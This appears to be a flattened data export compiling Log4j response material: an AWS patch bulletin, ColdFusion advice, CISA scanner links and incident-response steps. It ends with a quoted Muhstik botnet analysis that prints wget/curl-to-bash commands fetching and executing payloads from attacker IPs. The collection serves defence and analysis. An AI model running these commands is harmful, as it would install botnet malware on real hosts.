To help mitigate the impact of the open-source Apache "Log4j2" utility (CVE-2021-44228 and CVE-2021-45046) security issues on customers' containers, Amazon EKS, Amazon ECS, and AWS Fargate are deploying a Linux-based update (hot-patch). This hot-patch will require customer opt-in to use, and disables JNDI lookups from the Log4J2 library in customers' containers. These updates are available as an Amazon Linux package for Amazon ECS customers, as a DaemonSet for Kubernetes users on AWS, and will be in supported AWS Fargate platform versions.

Customers running Java-based applications on Windows containers are advised to follow Microsoft's guidance here.

Amazon ECR Public and Amazon ECR

Amazon-owned images published under a Verified Account on Amazon ECR Public are not affected by the issue described in CVE-2021-4422. For customer-owned images on Amazon ECR, AWS offers Enhanced Scanning with Amazon Inspector, which is designed to continually scan container images for known security issues, including container images containing CVE-2021-44228. Findings are reported in the Inspector and ECR consoles. Inspector includes a free 15-day trial with free container image scanning for accounts new to Inspector. For customers consuming images in ECR Public from third party publishers, customers can use the recently launched Pull Through Cache feature of ECR to copy those images from ECR Public into their ECR registry and use Inspector scanning to detect security issues.

Amazon Cognito

Amazon Cognito services have been updated to mitigate the issues identified in CVE-2021-44228.

Amazon Pinpoint

Amazon Pinpoint services have been updated to mitigate the issues identified in CVE-2021-44228.

Amazon EventBridge

Amazon EventBridge has been updated to mitigate the issues identified in CVE-2021-44228.

Elastic Load Balancing

Elastic Load Balancing services have been updated to mitigate the issues identified in CVE-2021-44228. All Elastic Load Balancers, as well as Classic, Application, Network and Gateway, are not written in Java and therefore were not affected by this issue.

AWS CodePipeline

AWS CodePipeline has been updated to mitigate the issues identified in CVE-2021-44228 and CVE-2021-45046.

AWS CodeBuild

AWS CodeBuild has been updated to mitigate the issues identified in CVE-2021-44228 and CVE-2021-45046.

Amazon Route53

Route 53 has been updated to mitigate the issues identified in CVE-2021-44228.

Amazon Linux

Amazon Linux 1 (AL1) and Amazon Linux 2 (AL2) by default use a log4j version that is not affected by CVE-2021-44228 or CVE-2021-45046. A new version of the Amazon Kinesis Agent which is part of AL2 addresses CVE-2021-44228 and CVE-2021-45046. Additionally, to help customers that bring in their own log4j code, Amazon Linux has released a new package that includes the Hotpatch for Apache log4j. More details can be found here.

Amazon SageMaker

Amazon SageMaker completed patching for the Apache Log4j2 issue (CVE-2021-44228) on December 15, 2021.

We continue to recommend that our customers take action to update all their applications and services by patching for known issues like this one. Customers who are recommended to take action on this issue received detailed instructions via PHD. Even if you are not affected by the Log4j issue, we recommend that you restart your job or update your app to use the latest version of our software.

Amazon Athena

Amazon Athena has been updated to mitigate the issues identified in CVE-2021-44228. All versions of the Amazon Athena JDBC driver vended to customers were not affected by this issue.

AWS Certificate Manager

AWS Certificate Manager services have been updated to mitigate the issues identified in CVE-2021-44228.

ACM Private CA services have been updated to mitigate the issues identified in CVE-2021-44228.

Amazon AppFlow

Amazon AppFlow has been updated to mitigate the issues identified in CVE-2021-44228.

Amazon Polly

Amazon Polly has been updated to mitigate the issues identified in CVE-2021-44228.

Amazon QuickSight

Amazon QuickSight has been updated to mitigate the issues identified in CVE-2021-44228.

AWS Textract

AWS Textract services have been updated to mitigate the issues identified in CVE-2021-44228.

Amazon Corretto

The latest Amazon Corretto released October 19th is not affected by CVE-2021-44228 since the Corretto distribution does not include Log4j. We recommend that customers update to the latest version of Log4j in all of their applications that use it, including direct dependencies, indirect dependencies, and shaded jars.

# data[].attributes.attachment_link.title
Update for Apache Log4j2 Security Bulletin (CVE-2021-44228)

# data[].attributes.attachment_link.description
AWS is aware of the recently disclosed issues relating to the open-source Apache "Log4j2" utility (CVE-2021-44228 and CVE-2021-45046). Responding to security issues such as this one shows the value of having multiple layers of defensive technologies, which is so important to maintaining the security of our customers' data and workloads.

# data[].attributes.attachment_link.readable_text
There is a critical security vulnerability (CVE-2021-44228) in the Log4j, which is a popular logging library for Java-based applications. The vulnerability also impacts Adobe ColdFusion.

In the meantime, we recommend that ColdFusion users apply the following workarounds/mitigations steps, until this patch is released.

Even though Adobe ColdFusion uses this library, we did not find any exploitable attack vector or mechanism with Adobe ColdFusion.

ColdFusion 2021 ships with Log4j versions 2.13.3 and 1.2. The former is impacted by this vulnerability, while the latter is not.

# data[].attributes.attachment_link.description
There is a critical security vulnerability (CVE-2021-44228) in the Log4j, which is a popular logging library for Java-based applications. The vulnerability also impacts Adobe ColdFusion. In the meantime, we recommend that ColdFusion users apply the following workarounds/mitigations steps, until this patch is released.

# data[].attributes.headline
Are the organization's products with Log4j are vulnerable?

# data[].attributes.subject
Are the organization's products with Log4j are vulnerable?

# data[].attributes.body
Check Here

# data[].attributes.attachment_link.title
GitHub - cisagov/log4j-affected-db: A community sourced list of log4j-affected software

# data[].attributes.attachment_link.description
A community sourced list of log4j-affected software - GitHub - cisagov/log4j-affected-db: A community sourced list of log4j-affected software

# data[].attributes.headline
Restrict egress capabilities from applications and servers.

# data[].attributes.subject
Restrict egress capabilities from applications and servers.

# data[].attributes.body
This step will  prevent the Java service from having the ability to download a malicious class file via LDAP, LDAPS, RMI, or DNS.

# data[].attributes.headline
Reduce attack surface on applications running impacted software. 

# data[].attributes.subject
Reduce attack surface on applications running impacted software. 

# data[].attributes.body
Limit applications interfaces to prevent leveraging of interfaces

# data[].attributes.headline
Implement Current Patches For All Software 

# data[].attributes.subject
Implement Current Patches For All Software 

# data[].attributes.body
Affected software should be powered off and removed from the network to prevent the spreading of the attack

# data[].attributes.body
Power Down Virtual Machine and prepare a clone of current state for evidence. If possible restore Virtual machine from the last known good screenshot.

# data[].attributes.body
- Switch to a virtual machine

- Or use an account with the least amount of privileges

# data[].attributes.body
Use firewalls to isolate the environment

# data[].attributes.body
Import back up webservers, data and other information

# data[].attributes.body
Monitor Network for any unknown packets, abnormal hosts or network activity.

# data[].attributes.body
These can include:

- Boarder Gateway Protocol Monitoring

- Honeypot used to trick attackers to targeting a fake system

# data[].attributes.headline
Check For Any EDR/XDR Detections Frequently 

# data[].attributes.subject
Check For Any EDR/XDR Detections Frequently 

# data[].attributes.body
- Record Cryptographic hash of system
- Switch systems to backup (if possible)
- Disconnect System from network
- Leave systems in the state they're in for evidence collection
- Document process

# data[].attributes.body
Determines highly on the data, software and hardware the attack has happened on.

# data[].attributes.body
prevent any change to the data on the device or media, so that data may be viewed but nothing can be changed or added.

# data[].attributes.body
- Stored in a room with proper physical security

# data[].attributes.body
Disk can be forensically analysed using specialised software. This could include FTK imager, Autopsy or commercial products that will scan your network and detect any red flags

# data[].attributes.attachment_link.title
GitHub - cisagov/log4j-scanner: log4j-scanner is a project derived from other members of the open-source community by CISA to help organizations identify potentially vulnerable web services affected by the log4j vulnerabilities.

# data[].attributes.attachment_link.description
log4j-scanner is a project derived from other members of the open-source community by CISA to help organizations identify potentially vulnerable web services affected by the log4j vulnerabilities. - GitHub - cisagov/log4j-scanner: log4j-scanner is a project derived from other members of the open-source community by CISA to help organizations identify potentially vulnerable web services affected by the log4j vulnerabilities.

# data[].attributes.body
How the attacks abuses the vulnerability

# data[].attributes.headline
Vulnerability Scanner for Organisations Services

# data[].attributes.subject
Vulnerability Scanner for Organisations Services

# data[].attributes.attachment_link.title
GitHub - silentsignal/burp-log4shell: Log4Shell scanner for Burp Suite

# data[].attributes.attachment_link.description
Detailed description can be found in our blog post about this plugin, you can also▶️ watch a recorded demonstration video. (There's also a bit longer video by @nu11secur1ty that also demonstrates setting up a vulnerable application.) Note about detection capabilities: this plugin will only supply the built-in active scanner with payloads, thus for optimal coverage vs.

# data[].attributes.attachment_link.title
Scanning for Vulnerabilities like Log4Shell – How Does It Work? - Greenbone Networks

# data[].attributes.attachment_link.description
How are vulnerabilities found? Where can they be hidden? Read more about how scanning for vulnerabilities like Log4Shell works.

# data[].attributes.attachment_link.readable_text
As we can see here, it will download and execute the next stage payload in the form of a shell script from hxxp://18.228.7.109/.log/log

4. log script contains the following functionality:

wget -O /tmp/pty3 hxxp://18.228.7.109/.log/pty3; chmod +x /tmp/pty3; chmod 700 /tmp/pty3; /tmp/pty3 &
wget -O /tmp/pty4 hxxp://18.228.7.109/.log/pty4; chmod +x /tmp/pty4; chmod 700 /tmp/pty4; /tmp/pty4 &

wget -O /tmp/pty2 hxxp://18.228.7.109/.log/pty2; chmod +x /tmp/pty2; chmod 700 /tmp/pty2; /tmp/pty2 &

wget -O /tmp/pty1 hxxp://18.228.7.109/.log/pty1; chmod +x /tmp/pty1; chmod 700 /tmp/pty1; /tmp/pty1 &

wget -O /tmp/pty3 hxxp://18.228.7.109/.log/pty3; chmod +x /tmp/pty3; chmod 700 /tmp/pty3; /tmp/pty3 &

wget -O /tmp/pty5 hxxp://18.228.7.109/.log/pty5; chmod +x /tmp/pty5; chmod 700 /tmp/pty5; /tmp/pty5 &

(curl hxxp://210.141.105.67:80/wp-content/themes/twentythirteen/m8 || wget -qO - hxxp://210.141.105.67:80/wp-content/themes/twentythirteen/m8)|bash

(curl hxxp://159.89.182.117/wp-content/themes/twentyseventeen/ldm || wget -qO - hxxp://159.89.182.117/wp-content/themes/twentyseventeen/ldm)|bash

Here, the malware downloads and executes various executables followed by several scripts.

5. Looking at payloads pty1-pty5, we can see that these are executables compiled for various architectures, a common scenario for IoT threats.

$ file pty1
pty1: ELF 32-bit MSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
$ file pty2
pty2: ELF 32-bit LSB executable, MIPS, MIPS-I version 1 (SYSV), statically linked, no section header
$ file pty3
pty3: ELF 64-bit LSB executable, x86-64, version 1 (GNU/Linux), statically linked, no section header
$ file pty4
pty4: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, no section header
$ file pty5
pty5: ELF 32-bit LSB executable, ARM, version 1 (ARM), statically linked, no section header

Reverse engineering them, we can see these are typical packed Muhstik botnet payloads.

# data[].attributes.attachment_link.title
Critical Log4Shell (Apache Log4j) Zero-Day Attack Analysis (CVE-2021-44228)

# data[].attributes.attachment_link.description
As we can see here, it will download and execute the next stage payload in the form of a shell script from hxxp://18.228.7.109/.log/log 4.